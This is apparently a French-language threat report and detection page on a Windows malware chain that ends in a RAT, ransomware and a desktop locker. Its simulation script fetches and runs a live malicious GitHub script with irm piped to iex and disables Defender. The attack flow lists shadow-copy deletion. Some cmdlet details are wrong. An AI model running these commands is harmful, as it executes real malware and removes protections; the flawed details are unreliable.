À l’intérieur d’une opération de malware Windows à plusieurs étapes
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les laboratoires FortiGuard ont identifié une chaîne d’intrusion Windows en plusieurs étapes qui commence par un fichier LNK malveillant livré dans une archive compressée. Ce raccourci lance un chargeur PowerShell initial qui récupère des scripts supplémentaires depuis GitHub et passe ensuite le contrôle à un orchestrateur VBScript obfusqué. Le flux de travail tente ensuite d’affaiblir les défenses des points de terminaison en désactivant Microsoft Defender, en déployant l’utilitaire Defendnot, et en préparant à la fois Amnesia RAT et le ransomware Hakuna Matata. L’opération se termine par le dépôt d’un composant WinLocker qui verrouille le bureau pour perturber la récupération et exercer une pression sur les victimes.
Enquête
Les enquêteurs ont reconstruit le chemin d’exécution depuis l’étape PowerShell déclenchée par le LNK jusqu’à un VBScript qui reconstruit les charges utiles en mémoire, culminant dans le déploiement d’un ransomware et un comportement de verrouillage de bureau. Les mesures de défense ont été contournées par des modifications ciblées du registre et en injectant une DLL Defendnot dans Taskmgr.exe. La persistance a été mise en œuvre en utilisant une combinaison d’entrées de la clé Run et d’artefacts du dossier de démarrage pour réactiver la chaîne après une connexion.
Atténuation
Surveillez les changements de registre de niveau politique suspects sous HKLMSOFTWAREPoliciesMicrosoftWindows Defender et HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies. Bloquez les sorties vers les URLs GitHub et Dropbox malveillantes connus utilisés pour la mise en scène, et signalez les modèles de téléchargement et d’exécution via PowerShell provenant des lancements de LNK. Appliquez une liste blanche d’applications et resserrez les contrôles d’exécution PowerShell pour réduire l’accès initial basé sur des scripts.
Réponse
En cas de détection, isolez le point de terminaison, restaurez les paramètres de registre liés à Defender à un état sain reconnu et supprimez les fichiers malveillants et les entrées de persistance. Recherchez les processus Amnesia RAT actifs et l’activité réseau associée, et validez si une exécution de ransomware a eu lieu. Effectuez une triade médico-légale complète pour évaluer l’impact et éradiquer les traces, puis récupérez les systèmes à partir de sauvegardes propres, si possible.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff6666 %% Node definitions step_a[« <b>Action</b> – <b>T1566.001 Hameçonnage : Pièce jointe</b><br/>Fichier LNK « Задание_для_бухгалтера_02отдела.txt.lnk » contenu dans une archive compressée »] class step_a action step_b[« <b>Action</b> – <b>T1059.001 PowerShell</b><br/>Le fichier LNK lance PowerShell avec -ExecutionPolicy Bypass afin de télécharger le script « kira.ps1 » »] class step_b action step_c[« <b>Action</b> – <b>T1027 Fichiers ou informations obfusqués</b><br/>VBScript « SCRRC4ryuk.vbe » encodé avec Script Encoder Plus, Base64 et RC4 »] class step_c action step_d[« <b>Action</b> – <b>T1562.001 Dégradation des défenses</b><br/>PowerShell désactive la protection en temps réel de Microsoft Defender et ajoute de larges exclusions du système de fichiers »] class step_d action step_e[« <b>Action</b> – <b>T1218.010 Exécution proxy via Regsvr32</b><br/>La DLL Defendnot et son chargeur sont déployés et injectés dans le processus approuvé Taskmgr.exe »] class step_e action step_f[« <b>Action</b> – <b>T1548.002 Contournement du contrôle de compte utilisateur</b><br/>Une boucle ShellExecute runas est utilisée pour obtenir des privilèges élevés »] class step_f action step_g[« <b>Action</b> – <b>T1547.001 Clés Run du registre / Dossier de démarrage</b><br/>Crée une entrée HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run et copie « svchost.scr » dans %PROGRAMDATA% et le dossier de démarrage de l’utilisateur »] class step_g action step_h[« <b>Action</b> – <b>T1082 Découverte des informations système</b><br/>Collecte des informations sur le système d’exploitation, le matériel, le domaine et l’adresse IP via WMI »] class step_h action step_i[« <b>Action</b> – <b>T1057 Découverte des processus</b><br/>Énumère les processus en cours afin d’éviter une exécution en double »] class step_i action step_j[« <b>Action</b> – <b>T1113 Capture d’écran</b><br/>« TelegramWorker.scr » capture des captures d’écran (1.png–30.png) et les envoie via Telegram »] class step_j action step_k[« <b>Action</b> – <b>T1555 Identifiants à partir des magasins de mots de passe</b><br/>Extrait les mots de passe et les cookies des navigateurs Chromium à l’aide de DPAPI »] class step_k action step_l[« <b>Action</b> – <b>T1539 Vol de cookies de session Web</b><br/>Collecte les cookies et les jetons des navigateurs »] class step_l action step_m[« <b>Action</b> – <b>T1550.004 Utilisation de matériel d’authentification alternatif</b><br/>Détourne les fichiers de session de Telegram Desktop depuis le répertoire « tdata » »] class step_m action step_n[« <b>Action</b> – <b>T1102.002 Service Web</b><br/>Transmet les données collectées et les captures d’écran à l’attaquant via l’API de bot Telegram »] class step_n action step_o[« <b>Logiciel malveillant</b> – <b>T1486 Données chiffrées pour impact</b><br/>Le rançongiciel Hakuna Matata « WmiPrvSE.scr » chiffre les fichiers avec l’extension @NeverMind12F »] class step_o malware step_p[« <b>Action</b> – <b>T1490 Inhibition de la récupération du système</b><br/>Exécute « reagentc /disable », « wbadmin delete catalog », « vssadmin delete shadows /all » »] class step_p action step_q[« <b>Logiciel malveillant</b> – <b>T1499 Déni de service au niveau de l’endpoint</b><br/>WinLocker « gedion.scr » crée le mutex WINLOCK… et verrouille le bureau »] class step_q malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i step_i –>|leads_to| step_j step_j –>|leads_to| step_k step_k –>|leads_to| step_l step_l –>|leads_to| step_m step_m –>|leads_to| step_n step_n –>|leads_to| step_o step_o –>|leads_to| step_p step_p –>|leads_to| step_q
Flux d’Attaque
Détections
Processus suspect utilisant une URL dans la ligne de commande (via cmdline)
Voir
Désactiver la surveillance en temps réel de Windows Defender et autres changements de préférences (via cmdline)
Voir
IOCs (HashSha256) à détecter : dans une campagne de malware Windows en plusieurs étapes
Voir
Activité réseau malveillante et C2 via GitHub, Dropbox, Telegram [Connexion réseau Windows]
Voir
Exécution de PowerShell dans une campagne de malware Windows [PowerShell Windows]
Voir
Exécution PowerShell et CMD avec leurre Install.exe [Création de processus Windows]
Voir
Exécution de la simulation
Condition préalable : le contrôle préalable de télémétrie et de ligne de base doit avoir réussi.
Justification : cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non pertinents conduiront à une erreur de diagnostic.
-
Narration de l’attaque & commandes :
Un adversaire ayant obtenu un point d’appui initial sur le point de terminaison souhaite télécharger et exécuter une charge utile PowerShell malveillante tout en évitant la politique d’exécution par défaut. Ils utilisentInvoke‑Expression(iex) combiné avecInvoke‑WebRequest(irm) pour récupérer un script depuis une URL brute GitHub distante, en l’exécutant sous-ExecutionPolicy Bypass. Après avoir établi la persistance, ils désactivent la surveillance en temps réel de Windows Defender pour éviter la détection des charges utiles suivantes. Ces étapes génèrent directement les chaînes de ligne de commande que la règle Sigma surveille. -
Script de test de régression :
# -------------------------------------------------------------- # Étape 1 – Exécuter le script distant avec contournement d'ExecutionPolicy # -------------------------------------------------------------- $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1" powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex" # -------------------------------------------------------------- # Étape 2 – Désactiver la surveillance en temps réel de Windows Defender # -------------------------------------------------------------- # Désactiver la protection en temps réel Disable-MpPreference -DisableRealtimeMonitoring $true # Ajouter un chemin d'exclusion (simulé) Add-MpPreference -ExclusionPath "C:TempExcludeFolder" -
Commandes de nettoyage :
# Réactiver la surveillance en temps réel de Windows Defender Enable-MpPreference -DisableRealtimeMonitoring $false # Supprimer le chemin d'exclusion (s'il existe) Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue # Arrêter les processus PowerShell restant lancés par le script Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force